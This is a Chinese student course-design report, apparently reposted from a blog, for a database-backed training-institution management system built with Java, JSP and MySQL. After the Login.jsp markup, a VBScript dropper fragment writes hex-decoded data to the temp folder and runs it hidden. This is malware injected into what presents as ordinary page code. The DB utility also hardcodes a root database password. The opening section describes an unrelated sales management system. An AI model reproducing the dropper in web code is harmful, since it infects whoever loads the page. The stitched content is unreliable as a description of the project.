软件工程——数据库验收
作者:互联网
课程设计报告书
数据库系统开发综合训练
--- 培训机构管理系统
班 级: 信2005-3
学 号: 20204187
姓 名: 邱实
指导教师: 杨子光
石家庄铁道大学信息学院
2022年7月05日
一、功能概述
通用销售管理系统是建立在信息技术基础上,以系统化的管理思想,为企业及员工提供销售管理和员工信息管理的平台,其核心思想是供应链管理,即从供应链范围去优化企业销售方面的信息。它整合了回到首页、基础信息、基础资料、业务管理、信息查询、辅助工具、系统设置、个人设置、安全退出九个功能模块。通用销售管理系统是以管理为中心,整合订货,出货,退货等销售管理流程,优化企业资源。
1.登录
登录这一模块,主要功能有:用户输入账号与密码,并对账号与密码的输入情况进行处理,新员工注册以及对注册内容的审核,提交和重置。其中除了重置的其余各个部分都与数据库进行了连接与相应的增、查、匹配工作。
2.员工注册
这一模块,主要是采集新员工的信息,包括账号,密码,姓名,性别,年龄,出生日期,职务,毕业学校。同时,系统自动将其存入SQL数据库,便于以后查看与使用。
3.订货业务管理
订货业务页面可以显示单据号码、订货名称、订货数量和操作。在该模块,可以进行添加订货信息操作,同时可以进行查看详细信息和删除订货信息操作。添加订货信息中,需要采集订货名称、订货数量、订货价格、订货客户名称、订货单据、订货经办人等数据,数据库提供增,删,改,查功能。
4.出货业务管理
出货业务页面可以显示单据号码、出货名称、出货数量、定货公司和操作。在该模块,可以进行添加出货信息操作,同时可以进行查看详细信息和删除出货细信息操作。添加出货信息中需要输入单据号,数据库提供删除的功能。
本次实验完成了一个简要的培训机构管理系统,功能分为以下四类:
- 登录 注册
本系统的用户分为三类:学生,培训人员,机构管理者,在用户初次登录时,要进行在登录界面进行注册,由于管理人员是系统内部人员,因此账号密码会内置在数据库中,而培训机构人员是机构的雇用人员,机构和他是雇佣关系,有金钱交易的,因此不是任何登录系统的人都可以注册的,需经管理人员审核,需要由管理人员在管理界面添加。
因此登录界面的注册功能只面向学生,在学生填写完信息后,系统会自动赋予该学号,
并写入数据库。对于登录功能,系统会识别不同身份的用户如学生,管理者等跳转到不
同主界面。
- 管理者
管理者在登录后,可在主界面添加应聘成功的新的培训人员,并为他分配工资等,,系统会在提交后为其分配工号,培训人员会获得一个初始密码需要培训人员在登录后自行修改,第二个功能是审核课程,进入该界面后会显示所有未审核的课程,课程初始由教师提交,在管理员审核后为其分配上课时间和课程花费,并将课程收入的抽成加到教师的工资上。第三个功能是查看机构的收入,点击返回会回到管理人员主界面。
3.培训人员
培训人员在得到管理员审核后,获得账号密码,在登录后其主界面有四个功能,
在登录后培训人员可修改其个人信息,尤其是密码。第二个功能是查看个人信息,
可以看到自己的信息和本月的工资。第三个功能是提交课程,提交课程的基本信息,
在经审核后,课程才会发布,且工资会随着教课的门数的增加而增加。第四个功能
是查看自己教的所有课程,包括已审核和未审核的课程,对于已审核的课程,单击
可查看订购该课程的学生的基本信息。
4.学生
学生在登录后可修改其个人信息,点击返回跳转至主界面,第二个功能是查看所有可选择且自己未订购的课程,该界面会显示这些课程的详细信息,学生点击课程即可完成订购,
在订购成功后,机构的收入会增加,增加量为该课程的学费,随着订购人数的增多,机构收入也增加。第三个功能是查看自己已经订购的课程,该界面会显示课程的详细信息。
二、1.E-R图设计
- 构造关系模式
培训人员(工号,姓名,工资)
学生(学号,姓名)
培训(课程号,学号,工号,时间,名称,费用)
机构(管理员号,机构收入)
- 模式分解
培训人员(工号,姓名,工资)
学生(学号,姓名)
机构(管理员号,机构收入)
课程(课程号,工号,时间,名称,费用)
培训(课程号,学号,工号)
培训人员表
属性名 |
属性含义 |
数值类型 |
是否可为空 |
是否为主码 |
是否引用外码 |
工号 |
工号 |
varchar(50) |
否 |
是 |
否 |
姓名 |
姓名 |
varchar(50) |
否 |
否 |
否 |
工资 |
工资 |
int |
否 |
否 |
否 |
密码 |
密码 |
varchar(50) |
否 |
否 |
否 |
学生表
属性名 |
属性含义 |
数值类型 |
是否可为空 |
是否为主码 |
是否引用外码 |
学号 |
学号 |
varchar(50) |
否 |
是 |
否 |
姓名 |
姓名 |
varchar(50) |
否 |
否 |
否 |
密码 |
|
varchar(50) |
否 |
否 |
否 |
机构表
属性名 |
属性含义 |
数值类型 |
是否可为空 |
是否为主码 |
是否引用外码 |
管理员号 |
管理员号 |
varchar(50) |
是 |
否 |
否 |
机构收入 |
机构收入 |
int |
是 |
否 |
否 |
密码 |
密码 |
varchar(50) |
否 |
否 |
否 |
培训表
属性名 |
属性含义 |
数值类型 |
是否可为空 |
是否为主码 |
是否引用外码 |
课程号 |
课程名 |
varchar(50) |
否 |
是 |
否 |
学号 |
学号 |
varchar(50) |
否 |
是 |
是 |
工号 |
工号 |
varchar(50) |
否 |
是 |
是 |
课程表
属性名 |
属性含义 |
数值类型 |
是否可为空 |
是否为主码 |
是否引用外码 |
工号 |
工号 |
varchar(50) |
否 |
是 |
是 |
课程号 |
课程号 |
varchar(50) |
否 |
是 |
是 |
时间 |
时间 |
varchar(50) |
是 |
否 |
否 |
费用 |
费用 |
int |
是 |
否 |
否 |
名称 |
名称 |
varchar(50) |
否 |
否 |
否 |
1.登录界面
2.学生注册界面
3.学生主界面
4.学生界面——修改个人信息
- 学生界面——订购课程
- 查看已订购的课程
- 培训人员主界面
- 培训人员主界面——修改个人信息
- 培训人员主界面——查看个人信息
- 培训人员主界面——添加课程
- 培训人员主界面——查看课程
点击查看后
- 培训人员界面
- 培训人员界面——添加培训人员
- 培训人员界面——查询课程及审核
点击通过后
- 培训人员界面——查看机构收入
四、关键代码
- 数据库的链接
package com.DButil;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.concurrent.Callable;
public class DBUtil
{
public static String db_url = "jdbc:mysql://127.0.0.1:3306/sql";
public static String db_username = "root";
public static String db_password = "20020511";
public static Connection getConnection()
{
Connection connection = null;
try
{
Class.forName("com.mysql.cj.jdbc.Driver");
connection = DriverManager.getConnection(db_url,db_username,db_password);
return connection;
}
catch (Exception e)
{
System.out.println("aaaaaaaaaaaa");
e.printStackTrace();
}
return connection;
}
public static void close(Statement statement,Connection connection)
{
if (statement != null)
{
try
{
statement.close();
}
catch (Exception e)
{
System.out.println("bbbbbbbb");
e.printStackTrace();
}
}
if (connection != null)
{
try
{
connection.close();
}
catch (Exception e)
{
System.out.println("aaaaaaaaaaaa");
e.printStackTrace();
}
}
}
public static void close(ResultSet resultSet,Statement statement,Connection connection)
{
if (resultSet != null)
{
try
{
resultSet.close();
}
catch (Exception e)
{
System.out.println("aaaaaaaaaaaa");
e.printStackTrace();
}
}
if (statement != null)
{
try
{
statement.close();
}
catch (Exception e)
{
System.out.println("aaaaaaaaaaaa");
e.printStackTrace();
}
}
if (connection != null)
{
try
{
connection.close();
}
catch (Exception e)
{
System.out.println("aaaaaaaaaaaa");
e.printStackTrace();
}
}
}
}
- 登陆界面 Login.jsp
<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>
<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>H+ 后台主题UI框架 - 登录</title>
<meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
<meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">
<link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
<link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">
<link href="css/animate.min.css" rel="stylesheet">
<link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
<!--[if lt IE 9]>
<meta http-equiv="refresh" content="0;ie.html" />
<![endif]-->
<script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>
<body class="gray-bg">
<div class="middle-box text-center loginscreen animated fadeInDown">
<div>
<div>
<h1 class="logo-name">H+</h1>
</div>
<h3>欢迎使用 H+</h3>
<form class="m-t" action="/Userservlet_log?method=log" method="post">
<div class="form-group">
用户名:<input type="text" class="form-control" name="nu">
</div>
<div class="form-group">
密码:<input type="text" class="form-control" name = "pa">
</div>
<input type="submit" class="btn btn-primary block full-width m-b" value = "登录">
<p class="text-muted text-center"> <a href="login.html#"><small>忘记密码了?</small></a> | <a href="regist.jsp">注册一个新账号</a>
</p>
</form>
</div>
</div>
<script src="js/jquery.min.js?v=2.1.4"></script>
<script src="js/bootstrap.min.js?v=3.3.6"></script>
<script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
- 管理员主界面.main_r.jsp
<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>
<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>H+ 后台主题UI框架 - 登录</title>
<meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
<meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">
<link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
<link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">
<link href="css/animate.min.css" rel="stylesheet">
<link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
<!--[if lt IE 9]>
<meta http-equiv="refresh" content="0;ie.html" />
<![endif]-->
<script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>
<body class="gray-bg">
<div class="middle-box text-center loginscreen animated fadeInDown">
<div>
<div>
<h1 class="logo-name">H+</h1>
</div>
<form class="m-t" action="add_r.jsp" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "添加培训人员">
</form>
<form class="m-t" action="/Userservlet_r?method=view" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "查询课程">
</form>
<form class="m-t" action="/Userservlet_r?method=wage" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "查看机构收入">
</form>
</div>
</div>
<script src="js/jquery.min.js?v=2.1.4"></script>
<script src="js/bootstrap.min.js?v=3.3.6"></script>
<script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>
- 学生主界面main_s.jap
<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>
<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>H+ 后台主题UI框架 - 登录</title>
<meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
<meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">
<link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
<link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">
<link href="css/animate.min.css" rel="stylesheet">
<link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
<!--[if lt IE 9]>
<meta http-equiv="refresh" content="0;ie.html" />
<![endif]-->
<script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>
<body class="gray-bg">
<div class="middle-box text-center loginscreen animated fadeInDown">
<div>
<div>
<h1 class="logo-name">H+</h1>
</div>
<form class="m-t" action="modify_s.jsp" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "修改个人信息">
</form>
<form class="m-t" action="/Userservlet_s?method=view" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "订购课程">
</form>
<form class="m-t" action="/Userservlet_s?method=view_" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "查看已订购的课程">
</form>
</div>
</div>
<script src="js/jquery.min.js?v=2.1.4"></script>
<script src="js/bootstrap.min.js?v=3.3.6"></script>
<script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>
6.培训人员主界面mian_t.jap
<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>
<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>H+ 后台主题UI框架 - 登录</title>
<meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
<meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">
<link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
<link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">
<link href="css/animate.min.css" rel="stylesheet">
<link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
<!--[if lt IE 9]>
<meta http-equiv="refresh" content="0;ie.html" />
<![endif]-->
<script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>
<body class="gray-bg">
<div class="middle-box text-center loginscreen animated fadeInDown">
<div>
<div>
<h1 class="logo-name">H+</h1>
</div>
<form class="m-t" action="modify_t.jsp" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "修改个人信息">
</form>
<form class="m-t" action="view_t.jsp" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "查看个人信息">
</form>
<form class="m-t" action="add_t.jsp" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "添加课程">
</form>
<form class="m-t" action="/Userservlet_t?method=check" method="post">
<input type="submit" class="btn btn-primary block full-width m-b" value = "查看课程">
</form>
</div>
</div>
<script src="js/jquery.min.js?v=2.1.4"></script>
<script src="js/bootstrap.min.js?v=3.3.6"></script>
<script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>
五、小结
数据库小学期,主要是目标是完成一个mis系统,我做的是培训机构管理系统,通过本次小学期,复习了有关web的操作。
其次,由于本学期学习了数据库的相关知识,本次系统运用了更加复杂的sql语句,如多表查询,排序等等,以及,更加合理的设计了数据,按照先设计E-R图再转化成关系模式,再对模式进行模式分解,最后得到数据库的表结构,实践发现,这样比以前在对数据库操作时更加便捷,省事。在之前也不能真正理解写程序先建表的思想,觉得程序本身才是最重要的,但是通过本次实践,才真正感受到了这种思想的带来的便捷。
标签:varchar,培训,课程,数据库,50,验收,window,软件工程,界面 来源: https://www.cnblogs.com/miutic/p/16445475.html